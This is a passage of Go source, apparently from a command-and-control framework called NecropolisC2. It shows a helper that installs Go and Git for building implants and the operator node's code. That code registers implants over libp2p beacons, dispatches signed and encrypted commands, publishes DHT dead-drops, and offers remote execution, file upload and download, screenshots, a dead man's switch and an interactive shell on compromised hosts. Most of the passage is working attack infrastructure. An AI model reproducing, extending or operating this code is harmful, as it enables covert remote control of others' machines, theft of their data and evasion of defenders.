filepath.Join(os.TempDir(), "go", "bin", goexe),
} {
if fileExists(p) {
return p
}
}
return goexe
}
type goFile struct {
Filename string `json:"filename"`
OS string `json:"os"`
Arch string `json:"arch"`
SHA256 string `json:"sha256"`
}
type goVersion struct {
Version string `json:"version"`
Stable bool `json:"stable"`
Files []goFile `json:"files"`
}
func ensureGo() (string, error) {
if p, err := exec.LookPath("go"); err == nil {
return p, nil
}
if goroot := os.Getenv("GOROOT"); goroot != "" {
candidate := filepath.Join(goroot, "bin", "go")
if fileExists(candidate) {
return candidate, nil
}
}
if p := findGo(); fileExists(p) {
return p, nil
}
log.Printf("[*] Go not found, installing...")
osName := runtime.GOOS
archName := runtime.GOARCH
switch archName {
case "x86_64":
archName = "amd64"
case "aarch64":
archName = "arm64"
}
ext := ".tar.gz"
if osName == "windows" {
ext = ".zip"
}
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
req, err := http.NewRequestWithContext(ctx, "GET", "https://go.dev/VERSION?m=text", nil)
if err != nil {
return "", fmt.Errorf("create version request: %w", err)
}
resp, err := http.DefaultClient.Do(req)
if err != nil {
return "", fmt.Errorf("check go version: %w", err)
}
defer resp.Body.Close()
versionBytes, err := io.ReadAll(resp.Body)
if err != nil {
return "", fmt.Errorf("read go version: %w", err)
}
version := strings.TrimSpace(strings.Split(string(versionBytes), "\n")[0])
filename := fmt.Sprintf("%s.%s-%s%s", version, osName, archName, ext)
url := fmt.Sprintf("https://go.dev/dl/%s", filename)
// Fetch checksums from go.dev JSON API
checksums, err := fetchGoChecksums()
if err != nil {
return "", fmt.Errorf("fetch go checksums: %w", err)
}
expectedHash, ok := checksums[filename]
if !ok {
return "", fmt.Errorf("no checksum found for %s", filename)
}
log.Printf("[*] downloading %s ...", url)
tarball, err := os.CreateTemp("", "go-*"+ext)
if err != nil {
return "", fmt.Errorf("create temp file: %w", err)
}
defer os.Remove(tarball.Name())
dlCtx, dlCancel := context.WithTimeout(context.Background(), 120*time.Second)
defer dlCancel()
dlReq, err := http.NewRequestWithContext(dlCtx, "GET", url, nil)
if err != nil {
return "", fmt.Errorf("create download request: %w", err)
}
dlResp, err := http.DefaultClient.Do(dlReq)
if err != nil {
return "", fmt.Errorf("download go: %w", err)
}
defer dlResp.Body.Close()
hash := sha256.New()
if _, err := io.Copy(io.MultiWriter(tarball, hash), dlResp.Body); err != nil {
return "", fmt.Errorf("write go archive: %w", err)
}
tarball.Close()
got := hex.EncodeToString(hash.Sum(nil))
if got != expectedHash {
return "", fmt.Errorf("checksum mismatch for %s:\n expected: %s\n got: %s", filename, expectedHash, got)
}
log.Printf("[*] SHA256 verified: %s", expectedHash)
installDir := installGo(tarball.Name(), osName)
log.Printf("[+] Go %s installed at %s", version, installDir)
return filepath.Join(installDir, "bin", "go"), nil
}
func fetchGoChecksums() (map[string]string, error) {
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
req, err := http.NewRequestWithContext(ctx, "GET", "https://go.dev/dl/?mode=json&include=all", nil)
if err != nil {
return nil, fmt.Errorf("create metadata request: %w", err)
}
resp, err := http.DefaultClient.Do(req)
if err != nil {
return nil, fmt.Errorf("get go metadata: %w", err)
}
defer resp.Body.Close()
var versions []goVersion
if err := json.NewDecoder(resp.Body).Decode(&versions); err != nil {
return nil, fmt.Errorf("decode go metadata: %w", err)
}
checksums := make(map[string]string)
for _, v := range versions {
for _, f := range v.Files {
checksums[f.Filename] = f.SHA256
}
}
return checksums, nil
}
func installGo(archive, osName string) string {
homeDir, _ := os.UserHomeDir()
candidates := []string{
"/usr/local/go",
filepath.Join(homeDir, ".local", "go"),
"/tmp/go",
}
if osName == "windows" {
progFiles := os.Getenv("ProgramFiles")
if progFiles == "" {
progFiles = `C:\Program Files`
}
candidates = []string{
filepath.Join(progFiles, "Go"),
filepath.Join(homeDir, "sdk", "go"),
filepath.Join(os.TempDir(), "go"),
}
}
for _, dst := range candidates {
parent := filepath.Dir(dst)
os.RemoveAll(dst)
os.MkdirAll(parent, 0755)
if extractGoArchive(archive, parent, osName) == nil {
if _, err := os.Stat(dst); err == nil {
log.Printf("[*] Go extracted to %s", dst)
return dst
}
}
}
// Last resort: always try the root of the temp dir
tmpRoot := "/tmp"
if osName == "windows" {
tmpRoot = os.TempDir()
}
os.RemoveAll(filepath.Join(tmpRoot, "go"))
extractGoArchive(archive, tmpRoot, osName)
return filepath.Join(tmpRoot, "go")
}
func extractGoArchive(archive, dst, osName string) error {
if osName == "windows" {
return extractZip(archive, dst)
}
return exec.Command("tar", "-C", dst, "-xzf", archive).Run()
}
func extractZip(src, dst string) error {
r, err := zip.OpenReader(src)
if err != nil {
return fmt.Errorf("open zip: %w", err)
}
defer r.Close()
for _, f := range r.File {
target := filepath.Join(dst, f.Name)
// ZipSlip protection
if !strings.HasPrefix(filepath.Clean(target), filepath.Clean(dst)+string(os.PathSeparator)) {
continue
}
if f.FileInfo().IsDir() {
os.MkdirAll(target, 0755)
continue
}
os.MkdirAll(filepath.Dir(target), 0755)
rc, err := f.Open()
if err != nil {
return fmt.Errorf("open %s in zip: %w", f.Name, err)
}
out, err := os.OpenFile(target, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, f.Mode())
if err != nil {
rc.Close()
return fmt.Errorf("create %s: %w", target, err)
}
_, err = io.Copy(out, rc)
rc.Close()
out.Close()
if err != nil {
return fmt.Errorf("extract %s: %w", f.Name, err)
}
}
return nil
}
func findGit(dir string) string {
gitExe := "git"
if runtime.GOOS == "windows" {
gitExe = "git.exe"
}
var found string
filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error {
if err != nil {
return nil
}
if !d.IsDir() && strings.EqualFold(d.Name(), gitExe) {
found = path
return io.EOF
}
return nil
})
return found
}
// auto-installs MinGit on Windows, tries system package manager on Linux/macOS.
// Self-contained implant generation is the feature — defer per-platform packaging.
func installGit() (string, error) {
homeDir, _ := os.UserHomeDir()
installDir := filepath.Join(homeDir, ".necropolis", "mingit")
if p := findGit(installDir); p != "" {
return p, nil
}
switch runtime.GOOS {
case "windows":
log.Printf("[*] downloading MinGit...")
url := "https://github.com/git-for-windows/git/releases/download/v2.47.0.windows.1/MinGit-2.47.0-64-bit.zip"
archive, err := os.CreateTemp("", "mingit-*.zip")
if err != nil {
return "", fmt.Errorf("create temp: %w", err)
}
defer os.Remove(archive.Name())
if err := downloadFile(url, archive); err != nil {
return "", fmt.Errorf("download mingit: %w", err)
}
archive.Close()
os.RemoveAll(installDir)
os.MkdirAll(installDir, 0755)
if err := extractZip(archive.Name(), installDir); err != nil {
return "", fmt.Errorf("extract mingit: %w", err)
}
if p := findGit(installDir); p != "" {
log.Printf("[+] MinGit installed at %s", p)
return p, nil
}
return "", fmt.Errorf("MinGit extracted but git executable not found under %s", installDir)
case "linux":
for _, pm := range [][]string{
{"apk", "add", "git"},
{"apt-get", "install", "-y", "git"},
{"yum", "install", "-y", "git"},
} {
if _, err := exec.LookPath(pm[0]); err != nil {
continue
}
cmd := exec.Command(pm[0], pm[1:]...)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if cmd.Run() == nil {
if p, err := exec.LookPath("git"); err == nil {
return p, nil
}
}
}
return "", fmt.Errorf("could not install git via package manager; install git manually")
case "darwin":
for _, pm := range [][]string{
{"xcode-select", "--install"},
{"brew", "install", "git"},
} {
if _, err := exec.LookPath(pm[0]); err != nil {
continue
}
cmd := exec.Command(pm[0], pm[1:]...)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if cmd.Run() == nil {
if p, err := exec.LookPath("git"); err == nil {
return p, nil
}
}
}
return "", fmt.Errorf("could not install git; install git manually")
default:
return "", fmt.Errorf("unsupported OS: %s", runtime.GOOS)
}
}
func downloadFile(url string, out *os.File) error {
resp, err := http.Get(url)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("bad status: %s", resp.Status)
}
_, err = io.Copy(out, resp.Body)
return err
}
+925
View File
@@ -0,0 +1,925 @@
// Operator represents the C2 operator node. Handles implant registration, command
// dispatch, beacon monitoring, and DHT dead-drop publishing.
package core
import (
"context"
"encoding/binary"
"fmt"
"io"
"log"
"net"
"os"
"path/filepath"
"sort"
"strings"
"sync"
"time"
"github.com/libp2p/go-libp2p"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/network"
"github.com/libp2p/go-libp2p/core/peer"
tcp "github.com/libp2p/go-libp2p/p2p/transport/tcp"
ws "github.com/libp2p/go-libp2p/p2p/transport/websocket"
"google.golang.org/protobuf/proto"
"golang.org/x/term"
"github.com/Yenn503/NecropolisC2/pkg/cryptography"
"github.com/Yenn503/NecropolisC2/pkg/transport"
apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
)
// ImplantRecord holds the registration state and metadata for one implant.
type ImplantRecord struct {
Name string
Hostname string
UUID string
Username string
UID string
GID string
OS string
Arch string
PID int32
PeerID string
Version string
ActiveC2 string
Locale string
LastCheckin time.Time
Interval time.Duration
Jitter time.Duration
PublicKey crypto.PubKey
Disconnected bool
IsRelay bool
BoxPubKey *[32]byte
}
// Operator owns the operator's identity, network node, known implants, and SOCKS proxies.
type Operator struct {
keys *cryptography.OperatorKey
node *transport.Node
messenger *transport.Messenger
implants map[string]*ImplantRecord
mu sync.RWMutex
ctx context.Context
cancel context.CancelFunc
socksProxies map[int]*SocksInstance
socksMu sync.Mutex
cmdNonce int64
SelectedPID string
// lastCmdTime throttles per-implant command dispatch to 10/sec.
lastCmdTime map[string]time.Time
cmdMu sync.Mutex
}
// NewOperator creates a libp2p host, configures relay/DHT, and wires up the messenger.
func NewOperator(ctx context.Context, keys *cryptography.OperatorKey, relayAddrs []string) (*Operator, error) {
ctx, cancel := context.WithCancel(ctx)
nodeCfg := transport.NodeConfig{
ListenAddr: "/ip4/0.0.0.0/tcp/8443/ws",
BootstrapPeers: transport.DefaultBootstrapAddrs(),
EnableRelay: true,
EnableRelayService: true,
EnableMDNS: false,
EnableDHT: true,
RelayAddrs: relayAddrs,
PrivateKey: keys.PrivateKey,
}
node, err := transport.NewNode(ctx, nodeCfg,
libp2p.NoTransports,
libp2p.Transport(ws.New),
libp2p.Transport(tcp.NewTCPTransport),
)
if err != nil {
cancel()
return nil, fmt.Errorf("create node: %w", err)
}
o := &Operator{
keys: keys,
node: node,
implants: make(map[string]*ImplantRecord),
socksProxies: make(map[int]*SocksInstance),
lastCmdTime: make(map[string]time.Time),
ctx: ctx,
cancel: cancel,
}
o.messenger = transport.NewOperatorMessenger(ctx, node, keys)
o.messenger.SetOperatorID(keys.PeerID)
o.messenger.SetAuthToken(keys.AuthToken)
o.messenger.SetHandler(o.handleMessage)
return o, nil
}
// SetSelected sets the peer ID whose results print to stdout.
func (o *Operator) SetSelected(pid string) { o.SelectedPID = pid }
// senderID extracts the libp2p peer ID from an envelope's embedded public key.
func (o *Operator) senderID(env *apb.Envelope) string {
pubKey, err := transport.PubKeyFromEnvelope(env)
if err != nil {
return ""
}
id, err := peer.IDFromPublicKey(pubKey)
if err != nil {
return ""
}
return id.String()
}
// resultf prints to stdout if from the selected implant, otherwise logs quietly.
func (o *Operator) resultf(env *apb.Envelope, format string, args ...interface{}) {
msg := fmt.Sprintf(format, args...)
sid := o.senderID(env)
if sid != "" && sid == o.SelectedPID {
fmt.Println(msg)
} else {
log.Printf(msg + " [from " + sid[:12] + "]")
}
}
// Start launches DHT advertising, beacon listener, relay discovery, and the disconnect
// watchdog. Returns after setting up all background goroutines.
func (o *Operator) Start() error {
log.Printf("[operator] PeerID: %s", o.node.ID().String())
log.Printf("[operator] Command topic: %s", o.messenger.CommandTopic())
log.Printf("[operator] Beacon topic: %s", o.messenger.BeaconTopic())
for _, addr := range o.node.Addrs() {
log.Printf("[operator] listening on: %s/p2p/%s", addr, o.node.ID().String())
}
o.node.SetStreamHandler(transport.BeaconProtocolID, o.handleBeaconStream)
if err := o.node.StartDiscovery(); err != nil {
return fmt.Errorf("discovery: %w", err)
}
ns := o.messenger.RendezvousString()
if o.node.DHT != nil {
go func() {
for o.node.DHT.RoutingTable().Size() == 0 {
select {
case <-o.ctx.Done():
return
case <-time.After(2 * time.Second):
}
}
for o.node.Advertise(o.ctx, ns) != nil {
select {
case <-o.ctx.Done():
return
case <-time.After(10 * time.Second):
}
}
for {
o.node.Advertise(o.ctx, ns)
select {
case <-o.ctx.Done():
return
case <-time.After(30 * time.Second):
}
}
}()
relayNS := o.node.RelayRendezvousString(o.keys.PeerID)
go o.advertiseRelayLoop(relayNS)
go o.discoverRelayPeersLoop(relayNS)
}
if err := o.messenger.ListenBeacons(o.ctx); err != nil {
return fmt.Errorf("listen beacons: %w", err)
}
go o.disconnectCheckLoop()
return nil
}
// disconnectCheckLoop periodically marks implants disconnected if they miss beacon deadlines.
func (o *Operator) disconnectCheckLoop() {
ticker := time.NewTicker(30 * time.Second)
defer ticker.Stop()
for {
select {
case <-ticker.C:
o.mu.Lock()
now := time.Now()
for id, rec := range o.implants {
if rec.Disconnected {
continue
}
timeout := rec.Interval + rec.Jitter + 30*time.Second
if now.Sub(rec.LastCheckin) > timeout {
rec.Disconnected = true
o.implants[id] = rec
log.Printf("[operator] implant DISCONNECTED: %s@%s peer=%s (no beacon for %v)",
rec.Name, rec.Hostname, id, now.Sub(rec.LastCheckin).Round(time.Second))
}
}
o.mu.Unlock()
case <-o.ctx.Done():
return
}
}
}
// advertiseRelayLoop periodically advertises this node as a relay in the DHT.
func (o *Operator) advertiseRelayLoop(ns string) {
if !o.node.WaitForDHT(o.ctx) {
return
}
for {
if o.node.DHT == nil {
return
}
if err := o.node.AdvertiseRelay(o.ctx, ns); err != nil {
log.Printf("[operator] relay advertise: %v", err)
}
select {
case <-o.ctx.Done():
return
case <-time.After(60 * time.Second):
}
}
}
// discoverRelayPeersLoop finds relay peers in the DHT and connects to them.
func (o *Operator) discoverRelayPeersLoop(ns string) {
if !o.node.WaitForDHT(o.ctx) {
return
}
for {
peers, err := o.node.FindRelayPeers(o.ctx, ns, 32)
if err != nil {
log.Printf("[operator] find relay peers: %v", err)
goto sleep
}
for _, pi := range peers {
if pi.ID == o.node.ID() {
continue
}
cs := o.node.Host.Network().Connectedness(pi.ID)
if cs == network.Connected || cs == network.Limited {
continue
}
connCtx, cancel := context.WithTimeout(o.ctx, 10*time.Second)
if err := o.node.ConnectToPeer(connCtx, pi); err == nil {
log.Printf("[operator] connected to relay peer %s", pi.ID.String())
}
cancel()
}
sleep:
select {
case <-o.ctx.Done():
return
case <-time.After(60 * time.Second):
}
}
}
// handleMessage decrypts (if box keys exist) and dispatches an incoming envelope to the
// correct result handler.
func (o *Operator) handleMessage(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) {
if len(env.Data) > 0 && o.keys.BoxKeys != nil {
decrypted, err := cryptography.DecryptMessage(env.Data, o.keys.BoxKeys)
if err == nil {
env.Data = decrypted
}
}
switch env.Type {
case transport.MsgTypeRegister:
o.handleBeaconRegister(env)
case transport.MsgTypeCover:
// cover traffic silently dropped
case transport.MsgTypePs:
o.handlePsResult(env)
case transport.MsgTypeLs:
o.handleLsResult(env)
case transport.MsgTypeExecute:
o.handleExecuteResult(env)
case transport.MsgTypeCd:
o.handleCdResult(env)
case transport.MsgTypePwd:
o.handlePwdResult(env)
case transport.MsgTypeDownload:
o.handleDownloadResult(env)
case transport.MsgTypeUpload:
o.handleUploadResult(env)
case transport.MsgTypeScreenshot:
o.handleScreenshotResult(env)
case transport.MsgTypeKill:
o.handleKillResult(env)
default:
log.Printf("[operator] received message type=%d", env.Type)
}
}
// handleBeaconStream reads length-prefixed envelopes from a persistent beacon stream,
// verifies signatures, and dispatches them through handleMessage.
func (o *Operator) handleBeaconStream(s network.Stream) {
defer s.Close()
remotePeer := s.Conn().RemotePeer()
for {
var msgLen uint32
if err := binary.Read(s, binary.LittleEndian, &msgLen); err != nil {
errStr := err.Error()
if errStr != "EOF" && !strings.Contains(errStr, "reset") && !strings.Contains(errStr, "closed") {
log.Printf("[operator] beacon stream read len: %v", err)
}
return
}
if msgLen > 1<<20 {
log.Printf("[operator] beacon stream message too large: %d", msgLen)
return
}
data := make([]byte, msgLen)
if _, err := io.ReadFull(s, data); err != nil {
log.Printf("[operator] beacon stream read data: %v", err)
return
}
env := &apb.Envelope{}
if err := proto.Unmarshal(data, env); err != nil {
log.Printf("[operator] beacon stream unmarshal: %v", err)
continue
}
var pubKey crypto.PubKey
if len(env.SenderKey) > 0 {
pubKey, _ = transport.PubKeyFromEnvelope(env)
senderID, err := peer.IDFromPublicKey(pubKey)
if err != nil || senderID != remotePeer {
log.Printf("[operator] beacon stream sender mismatch")
continue
}
}
if err := transport.VerifyEnvelope(env, pubKey); err != nil {
log.Printf("[operator] beacon stream invalid signature: %v", err)
continue
}
o.handleMessage(o.ctx, env, pubKey)
}
}
// handleBeaconRegister processes an implant registration beacon, updating or creating the
// implant record and recording the implant's public key for signature verification.
func (o *Operator) handleBeaconRegister(env *apb.Envelope) {
if o.messenger.IsReplay(env.ID) {
log.Printf("[operator] dropped replay beacon id=%d", env.ID)
return
}
beaconReg := &apb.Z1{}
if err := proto.Unmarshal(env.Data, beaconReg); err != nil {
log.Printf("[operator] unmarshal beacon register: %v", err)
return
}
reg := beaconReg.Register
if reg == nil {
log.Printf("[operator] beacon register missing Register field")
return
}
pubKey, err := transport.PubKeyFromEnvelope(env)
if err != nil {
log.Printf("[operator] get sender key from envelope: %v", err)
return
}
peerID, err := peer.IDFromPublicKey(pubKey)
if err != nil {
log.Printf("[operator] peer id from sender key: %v", err)
return
}
peerIDStr := peerID.String()
var boxPubKey *[32]byte
if len(reg.BoxPubKey) == 32 {
var key [32]byte
copy(key[:], reg.BoxPubKey)
boxPubKey = &key
}
rec := &ImplantRecord{
Name: reg.Name,
Hostname: reg.Hostname,
UUID: reg.UUID,
Username: reg.Username,
UID: reg.UID,
GID: reg.GID,
OS: reg.OS,
Arch: reg.Arch,
PID: reg.PID,
PeerID: peerIDStr,
Version: reg.Version,
ActiveC2: reg.ActiveC2,
Locale: reg.Locale,
LastCheckin: time.Now(),
Interval: time.Duration(beaconReg.Interval) * time.Second,
Jitter: time.Duration(beaconReg.Jitter) * time.Second,
PublicKey: pubKey,
BoxPubKey: boxPubKey,
}
o.mu.Lock()
if existing, ok := o.implants[peerIDStr]; ok {
existing.LastCheckin = time.Now()
existing.Disconnected = false
existing.Hostname = reg.Hostname
existing.Username = reg.Username
existing.OS = reg.OS
existing.Arch = reg.Arch
existing.IsRelay = true
existing.BoxPubKey = boxPubKey
} else {
rec.IsRelay = true
o.implants[peerIDStr] = rec
log.Printf("[operator] new implant registered: %s@%s [%s/%s] peer=%s",
reg.Name, reg.Hostname, reg.OS, reg.Arch, peerIDStr)
}
o.mu.Unlock()
o.messenger.AddKnownImplant(peerIDStr, pubKey)
}
// ListImplants returns all registered implant records sorted by peer ID.
func (o *Operator) ListImplants() []*ImplantRecord {
o.mu.RLock()
defer o.mu.RUnlock()
ids := make([]string, 0, len(o.implants))
for id := range o.implants {
ids = append(ids, id)
}
sort.Strings(ids)
out := make([]*ImplantRecord, 0, len(o.implants))
for _, id := range ids {
out = append(out, o.implants[id])
}
return out
}
// GetImplant looks up a single implant record by peer ID.
func (o *Operator) GetImplant(peerID string) *ImplantRecord {
o.mu.RLock()
defer o.mu.RUnlock()
return o.implants[peerID]
}
// sendCommandToImplant packs a protobuf message into a signed envelope, opens a direct
// command stream to the implant, and publishes the envelope as a DHT dead-drop.
func (o *Operator) sendCommandToImplant(implantPeerID string, msgType uint32, msg proto.Message) error {
o.cmdMu.Lock()
if last, ok := o.lastCmdTime[implantPeerID]; ok {
if time.Since(last) < 100*time.Millisecond {
o.cmdMu.Unlock()
return fmt.Errorf("rate limited — wait before sending another command")
}
}
o.lastCmdTime[implantPeerID] = time.Now()
o.cmdMu.Unlock()
pid, err := peer.Decode(implantPeerID)
if err != nil {
return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
}
data, err := proto.Marshal(msg)
if err != nil {
return fmt.Errorf("marshal: %w", err)
}
env := o.messenger.CreateEnvelope(msgType, data)
rec := o.GetImplant(implantPeerID)
if rec != nil && rec.BoxPubKey != nil {
encrypted, err := cryptography.EncryptMessage(env.Data, rec.BoxPubKey)
if err != nil {
return fmt.Errorf("encrypt command: %w", err)
}
env.Data = encrypted
}
pubBytes, err := crypto.MarshalPublicKey(o.keys.PrivateKey.GetPublic())
if err == nil {
env.SenderKey = pubBytes
}
signingData, err := transport.EnvelopeSigningBytes(env)
if err != nil {
return fmt.Errorf("signing bytes: %w", err)
}
sig, err := o.keys.PrivateKey.Sign(signingData)
if err != nil {
return fmt.Errorf("sign: %w", err)
}
env.Signature = sig
ctx, cancel := context.WithTimeout(o.ctx, 10*time.Second)
defer cancel()
ctx = network.WithAllowLimitedConn(ctx, "command")
s, err := o.node.NewStream(ctx, pid, transport.CmdProtocolID)
if err != nil {
return fmt.Errorf("open command stream: %w", err)
}
defer s.Close()
envData, err := proto.Marshal(env)
if err != nil {
return fmt.Errorf("marshal envelope: %w", err)
}
if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
return fmt.Errorf("write len: %w", err)
}
if _, err := s.Write(envData); err != nil {
return fmt.Errorf("write data: %w", err)
}
// DHT dead-drop — implants unable to reach operator via direct stream or
// relay can poll the DHT for signed command envelopes. Best-effort, no retry, no ACK.
o.cmdNonce++
dhtKey := transport.CommandDHTKey(o.keys.PeerID, o.cmdNonce)
go func() {
_ = o.node.PutDHTValue(o.ctx, dhtKey, envData) // best-effort, silent
}()
return nil
}
// Ps sends a process listing command to the given implant.
func (o *Operator) Ps(implantPeerID string) error {
req := &apb.Z12{}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypePs, req)
}
// Ls sends a directory listing command to the given implant.
func (o *Operator) Ls(implantPeerID string, path string) error {
req := &apb.Z16{Path: path}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeLs, req)
}
// Execute sends a command execution request to the given implant.
func (o *Operator) Execute(implantPeerID string, cmd string, args []string) error {
req := &apb.Z14{
Path: cmd,
Args: args,
Output: true,
}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeExecute, req)
}
// DeadMan sends a dead man switch configuration to the implant — a command that fires
// automatically if the implant loses contact with the operator.
func (o *Operator) DeadMan(implantPeerID string, command string, timeoutSeconds int) error {
payload := fmt.Sprintf(`{"command":"%s","timeout_seconds":%d}`, command, timeoutSeconds)
env := o.messenger.CreateEnvelope(transport.MsgTypeDeadMan, []byte(payload))
pubBytes, err := crypto.MarshalPublicKey(o.keys.PrivateKey.GetPublic())
if err == nil {
env.SenderKey = pubBytes
}
signingData, err := transport.EnvelopeSigningBytes(env)
if err != nil {
return fmt.Errorf("signing bytes: %w", err)
}
sig, err := o.keys.PrivateKey.Sign(signingData)
if err != nil {
return fmt.Errorf("sign: %w", err)
}
env.Signature = sig
pid, err := peer.Decode(implantPeerID)
if err != nil {
return fmt.Errorf("decode peer id: %w", err)
}
ctx, cancel := context.WithTimeout(o.ctx, 10*time.Second)
defer cancel()
s, err := o.node.NewStream(ctx, pid, transport.CmdProtocolID)
if err != nil {
return fmt.Errorf("open command stream: %w", err)
}
defer s.Close()
envData, err := proto.Marshal(env)
if err != nil {
return fmt.Errorf("marshal envelope: %w", err)
}
if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
return fmt.Errorf("write len: %w", err)
}
_, err = s.Write(envData)
return err
}
// handlePsResult prints the process listing returned by an implant.
func (o *Operator) handlePsResult(env *apb.Envelope) {
result := &apb.Z13{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal ps result: %v", err)
return
}
o.resultf(env, "[ps] %d processes", len(result.Processes))
for _, p := range result.Processes {
o.resultf(env, " %s (PID: %d)", p.Name, p.Pid)
}
}
// handleLsResult prints a directory listing result from an implant.
func (o *Operator) handleLsResult(env *apb.Envelope) {
result := &apb.Z17{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal ls result: %v", err)
return
}
o.resultf(env, "[ls] %s: %d entries", result.Path, len(result.Files))
}
// handleExecuteResult prints the stdout/stderr returned by an implant command execution.
func (o *Operator) handleExecuteResult(env *apb.Envelope) {
result := &apb.Z15{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal execute result: %v", err)
return
}
o.resultf(env, "[exec] status=%d stdout=%d stderr=%d", result.Status, len(result.Stdout), len(result.Stderr))
if len(result.Stdout) > 0 {
o.resultf(env, string(result.Stdout))
}
if len(result.Stderr) > 0 {
o.resultf(env, string(result.Stderr))
}
}
// handleCdResult prints the result of a change-directory command on an implant.
func (o *Operator) handleCdResult(env *apb.Envelope) {
result := &apb.Z21{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal cd result: %v", err)
return
}
if result.Response != nil && result.Response.Err != 0 {
o.resultf(env, "cd error: %s", result.Response.ErrMsg)
} else {
o.resultf(env, "cd: %s", result.Path)
}
}
// handlePwdResult prints the current working directory returned by an implant.
func (o *Operator) handlePwdResult(env *apb.Envelope) {
result := &apb.Z21{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal pwd result: %v", err)
return
}
o.resultf(env, "%s", result.Path)
}
// handleScreenshotResult prints the screenshot byte count or error from an implant.
func (o *Operator) handleScreenshotResult(env *apb.Envelope) {
result := &apb.Z3{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal screenshot result: %v", err)
return
}
if result.Response != nil && result.Response.Err != 0 {
o.resultf(env, "screenshot error: %s", result.Response.ErrMsg)
} else {
o.resultf(env, "screenshot: %d bytes", len(result.Data))
}
}
// handleDownloadResult writes a file downloaded from an implant to the local filesystem.
func (o *Operator) handleDownloadResult(env *apb.Envelope) {
result := &apb.Z23{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal download result: %v", err)
return
}
if !result.Exists {
o.resultf(env, "download: file does not exist")
return
}
if result.Response != nil && result.Response.Err != 0 {
o.resultf(env, "download error: %s", result.Response.ErrMsg)
return
}
path := result.Path
if path == "" {
path = "downloaded"
}
safePath := filepath.Join("downloads", filepath.Base(path))
if err := os.MkdirAll(filepath.Dir(safePath), 0755); err != nil {
o.resultf(env, "download: mkdir %s: %v", safePath, err)
return
}
if err := os.WriteFile(safePath, result.Data, 0644); err != nil {
o.resultf(env, "download: write %s: %v", safePath, err)
return
}
o.resultf(env, "downloaded %s (%d bytes)", safePath, len(result.Data))
}
// handleUploadResult prints the result of a file upload to an implant.
func (o *Operator) handleUploadResult(env *apb.Envelope) {
result := &apb.Z25{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal upload result: %v", err)
return
}
if result.Response != nil && result.Response.Err != 0 {
o.resultf(env, "upload error: %s", result.Response.ErrMsg)
return
}
o.resultf(env, "uploaded %d bytes to %s", result.BytesWritten, result.Path)
}
// handleKillResult confirms that an implant received and acted on the kill command.
func (o *Operator) handleKillResult(env *apb.Envelope) {
o.resultf(env, "[kill] implant exited")
}
// Cd changes the working directory on the selected implant.
func (o *Operator) Cd(implantPeerID string, path string) error {
req := &apb.Z19{Path: path}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeCd, req)
}
// Pwd prints the working directory on the selected implant.
func (o *Operator) Pwd(implantPeerID string) error {
req := &apb.Z20{}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypePwd, req)
}
// Kill sends the terminate command to the selected implant.
func (o *Operator) Kill(implantPeerID string) error {
req := &apb.Z20{}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeKill, req)
}
// Download requests a file from the implant at the given path.
func (o *Operator) Download(implantPeerID string, path string) error {
req := &apb.Z22{Path: path}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeDownload, req)
}
// Upload sends a file to the implant at the given path, overwriting if it exists.
func (o *Operator) Upload(implantPeerID string, path string, data []byte) error {
req := &apb.Z24{
Path: path,
Data: data,
Overwrite: true,
}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeUpload, req)
}
// UploadFile reads a local file (≤100MB) and uploads it to the implant.
func (o *Operator) UploadFile(implantPeerID string, localPath string, remotePath string) error {
fi, err := os.Stat(localPath)
if err != nil {
return fmt.Errorf("stat %s: %w", localPath, err)
}
if fi.Size() > 100<<20 {
return fmt.Errorf("file too large: %d bytes (max 100MB)", fi.Size())
}
data, err := os.ReadFile(localPath)
if err != nil {
return fmt.Errorf("read %s: %w", localPath, err)
}
return o.Upload(implantPeerID, remotePath, data)
}
type shellEscaper struct {
r io.Reader
escaped bool
}
func (e *shellEscaper) Read(p []byte) (int, error) {
if e.escaped {
return 0, fmt.Errorf("shell escape")
}
n, err := e.r.Read(p)
if n > 0 {
for i := 0; i < n; i++ {
if p[i] == 0x1d { // Ctrl+]
e.escaped = true
return 0, fmt.Errorf("shell escape")
}
}
}
return n, err
}
// OpenShell opens an interactive shell on the implant over a libp2p stream. Terminal
// is put in raw mode and stdin/stdout are proxied bidirectionally. Press Ctrl+] to exit.
func (o *Operator) OpenShell(implantPeerID string) error {
pid, err := peer.Decode(implantPeerID)
if err != nil {
return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
}
ctx, cancel := context.WithTimeout(o.ctx, 15*time.Second)
defer cancel()
ctx = network.WithAllowLimitedConn(ctx, "shell")
s, err := o.node.NewStream(ctx, pid, transport.ShellProtocolID)
if err != nil {
return fmt.Errorf("open shell stream to %s: %w", implantPeerID, err)
}
defer s.Close()
rows, cols, err := term.GetSize(int(os.Stdin.Fd()))
if err != nil {
